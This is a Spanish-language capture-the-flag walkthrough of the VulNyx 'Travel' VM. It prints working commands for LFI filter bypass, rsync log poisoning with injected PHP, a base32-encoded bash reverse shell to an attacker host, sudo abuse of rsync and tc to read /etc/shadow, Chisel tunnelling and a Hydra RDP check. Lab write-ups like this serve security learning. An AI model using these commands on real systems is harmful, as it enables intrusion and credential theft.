Estos días hablando con el colega D4t4s3c en el canal de Discord de VulNyx, al que estáis más que invitados a uniros, por supuesto!, recibí de su parte el reto de resolver esta interesante VM llamada Travel que según me adelantaba, te lleva a indagar en una técnica, sobre un determinado servicio muy poco explorada (por no decir, nunca explorada y/o documentada públicamente), que te exigirá creatividad, esmero y unas cuantas horas de análisis y estudio de documentación por doquier. Acepté el reto y me sumergí en ello. Aquí os traigo lo que resultó:
Enumeración
Como habitualmente arrancamos con la enumeración de puertos y servicios:
sudo nmap -sS -sV 15.15.15.8
Dado los resultados obtenidos, solo tenemos una vía de exploración, allí que vamos…
Explotación web
La aplicación web ofrece la siguiente vista:
Revisando el código fuente proporcionado, observamos la siguiente referencia:
Después de las primeras validaciones nos cercioramos que esta entrada es vulnerable a LFI (Local File Inclusion).
Obviamente y viniendo de D4t4s3c, tendríamos que lidiar con un pequeño proceso de filtrado:
Esto ya nos lo presentó en la VM Internal (aquí te repetiste amigo! XD), por tanto emplearemos el siguiente comando para acceder al fichero passwd
del sistema:
curl -si http://15.15.15.8/page.php?i=....//....//....//etc/passwd
Intrusión inicial
Dado la aplicación web y que está claro que solo hay una vía, donde estamos encaminados. Intentaremos aprovechar algo más de esta recurrente vulnerabilidad web. Para ello emplearé el Intruder de Burp:
Definiré una lista de potenciales ficheros del sistema que he tomado de las famosas SecLists:
Y me marcaré una cadena para identificar rápidamente aquellos payloads que si me arrojen resultados:
El resultado que se obtendrá será algo como esto:
Posteriormente revisando uno a uno los resultados y prácticamente no viendo «nada de valor», consigo identificar puertos locales del sistema, esta vez visualizando el fichero /proc/net/tcp
:
Dado que los resultados en este fichero no son inmediatamente legibles, ya que se presentan con su valor en hexadecimal, me tocará hacerles un tratamiento. Para ello me apoyé en el siguiente script en perl que encontré en GitHub:
for var in $(curl -s http://15.15.15.8/page.php?i=....//....//....//proc/net/tcp | cut -d " " -f5 | grep :); do perl hexip.pl $(echo $var | sed "s/:/ /g"); done
Obtendré como resultado la siguiente vista, en donde claramente ya veo algo que me llama la atención:
Ese puerto 873 que no se asocia al localhost como sus predecesores, es curioso y lo revisaremos en profundidad un poco más adelante.
Antes, volvemos a la explotación de los resultados del barrido que hemos realizado gracias al LFI y después de no encontrar mucho más, un poco dando «palos de ciego», envié un «SOS» a D4t4s3c, quien amablemente me mandó a revisar la parte de IPv6 (que ya mismo me apunto en mi batería de técnicas de reconocimiento).
Revisando documentación por Internet llego a los siguientes recursos titulados, el primero en el punto 7 como: «Querying IPv6 Network Files» y un segundo simplemente como IPv6, que me vienen de fabula y me conducen a explorar las siguientes rutas: /proc/net/if_inet6
y /proc/net/ipv6_route
.
Usando las indicaciones del segundo artículo consigo hacerme con la IPv6 del host, por tanto es momento de volver a escanearlo con Nmap:
sudo nmap -6 -sV fe80:0000:0000:0000:0a00:27ff:fe68:76a6
Curiosamente ahora si que veo algo más y nuevamente tengo delante de mi el puerto 873. Veamos de que se trata gracias a su banner:
telnet -6 fe80::a00:27ff:fe68:76a6%enp0s3 873
Hasta ahora he vivido desconociendo lo que es este servicio llamado Rsync, que está relacionado con la sincronización y transferencia de ficheros y directorios en Linux. Si vosotros estáis en la misma situación que yo, os recomiendo tutoriales como el de Hostinger para despejar dudas.
Volviendo a nuestra vulnerabilidad web inicial (el LFI), vamos a revisar el fichero de configuración del servicio Rsync:
curl -si http://15.15.15.8/page.php?i=....//....//....//etc/rsyncd.conf
Aquí encontramos información que nos será valiosa. Revisando este fichero de configuración entendemos que no podemos listar el contenido sin conocer el nombre del recurso, que en este caso el autor de la VM tuvo la gentiliza de indicárnoslo a modo de «alias».
Llegados a este punto podríamos pensar en subir contenido que aprovechemos en el servidor, pero dado los permisos, no nos será posible.
He leído y revisado varia información sobre auditoría a este servicio, sin embargo casi todo se centra en la transferencia de ficheros y directorios, más allá de la enumeración exhaustiva, sin embargo y entendí en este punto, a lo que se refería D4t4s3c, ya que muy creativamente se le ocurrió implementar las condiciones necesarias para que sea posible desplegar la técnica de Log Poisoning y ya sabemos el «cóctel» perfecto que hacen junto a la vulnerabilidad de LFI, ¿no? Que tendremos un RCE de manual!
Revisemos el fichero de log definido en la configuración de Rsync:
curl -si http://15.15.15.8/page.php?i=....//....//....//var/log/748e62ababa4f1ce54b8970d08ad3eb0.log
Curiosamente aquí me quedé un buen rato atascado, incluso apoyado en D4t4s3c estuvimos haciendo pruebas de ambos lados, y no llegaba a escribir (aparentemente) sobre este registro, intentaba la conexión por rsync de múltiples maneras, pero no había forma de dejar rastro en este log. Ya estaba desesperado! Y de repente a D4t4s3c se le iluminó la bombilla y me comentó: «Hazlo desde la URL mejor. No lo hagas con curl, metele directamente en la URL» y amigo mío, había estado registrando mis intentos todo el rato. Como me la jugo cURL, esa se la guardo!
Por tanto y para validar que nos es posible escribir sobre este log, generaremos la siguiente ejecución:
rsync -v '[fe80::a00:27ff:fe68:76a6%enp0s3]'::'test_infayer'
Ahora mediante el LFI observemos el log (748e62ababa4f1ce54b8970d08ad3eb0.log
):
Como veis, he vuelto a insistir con cURL, esta vez, «pipeando» el resultado hacia tail.
Llegados a este punto puedo «tomar prestado» la interrogante que planteaban en el blog de Deep Hacking: «¿Qué ocurre si leemos un archivo con código PHP?» Veamos:
rsync -v '[fe80::a00:27ff:fe68:76a6%enp0s3]'::'<?php system("id"); ?>'
Listo, identificado el vector de entrada, es momento de conseguir acceso al servidor, para ello me valdré de los siguientes comandos:
echo 'bash -i >& /dev/tcp/15.15.15.4/4466 0>&1' | base32 rsync -v '[fe80::a00:27ff:fe68:76a6%enp0s3]'::'<?php system("echo MJQXG2BAFVUSAPRGEAXWIZLWF52GG4BPGE2S4MJVFYYTKLRUF42DINRWEAYD4JRRBI====== | base32 -d | bash"); ?>' nc -lvnp 4466 curl -si http://15.15.15.8/page.php?i=....//....//....//var/log/748e62ababa4f1ce54b8970d08ad3eb0.log | tail
En donde:
- Con la primera línea me estoy generando una cadena en base32 (que solo se compone de caracteres alfanuméricos, más algunos caracteres de =), esto lo hago para evitar conflicto con algunos caracteres especiales.
- La segunda línea me permite escribir en el log del servicio Rsync, como ya hemos visto.
- Con el tercer comando me estoy manteniendo a la escucha mediante el puerto definido.
- Finalmente, la ejecución de la cuarta línea, precipitará la ejecución de mi carga útil.
Veamos:
Realizamos un tratamiento de la TTY para una mayor versatilidad:
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=screen-256color [Ctrl+Z] stty raw -echo; fg
Movimiento vertical
El acceso conseguido hasta el momento es limitado, dado que se trata del usuario www-data. Por tanto es momento de enumerar:
Identificando nuevamente rsync (esta vez el binario), consultamos las posibilidades en GTFOBins:
Aquí el aprovechamiento no ofrece mayores dificultades.
sudo -u PL4GU3 rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
Volvemos a tratar la terminal y llegamos a la primera flag de la VM, en este caso la almacena el usuario PL4GU3.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Volvemos a la enumeración, esta vez con este nivel de acceso. Lo primero localizamos los usuarios (más interesantes) del sistema:
También revisamos los puertos TCP del host:
Siendo el puerto TCP 22 (SSH), uno que llama mi atención.
También reviso las claves SSH del usuario PL4GU3:
Identificando que las mismas me permiten conectar al siguiente usuario (ethicrash2):
Pero detengámonos un momento en esta clave privada del usuario PL4GU3:
Mediante Chisel voy a «compartirlo» para llegar desde mi host local.
wget 15.15.15.4:8000/chisel_1.8.1_linux_amd64
./chisel_1.8.1_linux_amd64 server --port 4488 --reverse ./chisel client 15.15.15.4:4488 R:2222:127.0.0.1:22
Asigno los permisos necesarios a la clave privada SSH y valido el acceso remoto.
chmod 600 id_rsa-PL4GU3 ssh ethicrash2@127.0.0.1 -p 2222 -i id_rsa-PL4GU3
Efectivamente esta clave privada SSH me permite conectar directamente a la sesión del usuario ethicrash2.
Acceso privilegiado (root)
Para obtener máximos privilegios en el sistema (rooteo) enumero un poco más. Esta vez me apoyo en pspy:
Aquí observamos de forma recurrente un fichero (RemoteSecret.txt
) que se encuentra dentro del directorio del superusuario. Al intentar llegar al mismo, obtendremos la siguiente restricción:
Continuando con nuestra enumeración, observamos que este usuario puede ejecutar la utilidad tc como si fuera root:
Revisando la documentación de esta utilidad, se observa que es posible definir un fichero a través de la opción -b
o -batch
, lo que permitiría, según la documentación:
Leer comandos del archivo proporcionado o entrada estándar e invocarlos. El primer fallo provocará la terminación del tc.
Por tanto, nos aventuraremos con los siguientes intentos:
sudo /usr/sbin/tc -b /root/RemoteSecret.txt sudo /usr/sbin/tc -b /etc/shadow
¡Hermoso! Podemos leer ficheros privilegiados.
Si recordamos los puertos locales visto anteriormente, notaremos que el servidor dispone del puerto TCP 3389, el cual es indicativo de RDP. Vamos a compartirlo con nuestro host local, tirando nuevamente de Chisel:
./chisel client 15.15.15.4:4488 R:3389:127.0.0.1:3389 &
Ahora validemos mediante Hydra que esta credencial pertenece al root:
hydra -l root -p 'R3m0T3D3sKt0pPr0t0c0l' rdp://127.0.0.1
¡Lo tenemos! Nos conectaremos al host una vez más, esta vez mediante la herramienta rdesktop:
rdesktop 127.0.0.1 -u root -p 'R3m0T3D3sKt0pPr0t0c0l'
Con esto ya tendríamos comprometida la VM en su totalidad. Que buena obra de parte de D4t4s3c . Te pasaste amigo!
Validaciones finales
Antes de acabar y ya por curiosidad, veamos un poco algunas configuraciones que a adoptado el creador de esta VM.
Para mayor comodidad, me voy a compartir el acceso mediante NetCat:
Dentro de las tareas programadas, observamos el famoso fichero RemoteSecret.txt
y también el nivel de permisos asignados para el log del servicio Rsync:
Dentro del fichero sudoers se observan las configuraciones para que tanto el usuario www-data, como ethicrash2 lleguen a las utilidades rsync y tc, respectivamente:
Por último revisando lo que compone la parte web, observamos el código PHP que propicia la vulnerabilidad de LFI (Local File Inclusion).
Que «cabrito» D4t4s3c y sus ocurrentes filtros. Nos vemos en el siguiente.
Referencias
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
- https://gist.github.com/whid-injector/87a98f3c7ff6255a7643350cd88eea9b
- https://blog.arkey.fr/2020/10/23/read-network-addresses-in-procfs/#_ipv6
- https://www.baeldung.com/linux/check-ipv6-address
- https://nmap.org/book/port-scanning-ipv6.html
- https://www.hostinger.es/tutoriales/rsync-linux
- https://docs.rockylinux.org/books/learning_rsync/04_rsync_configure/
- https://gtfobins.github.io/gtfobins/rsync/
- https://github.com/jpillora/chisel
- https://github.com/DominicBreuker/pspy
- https://man7.org/linux/man-pages/man8/tc.8.html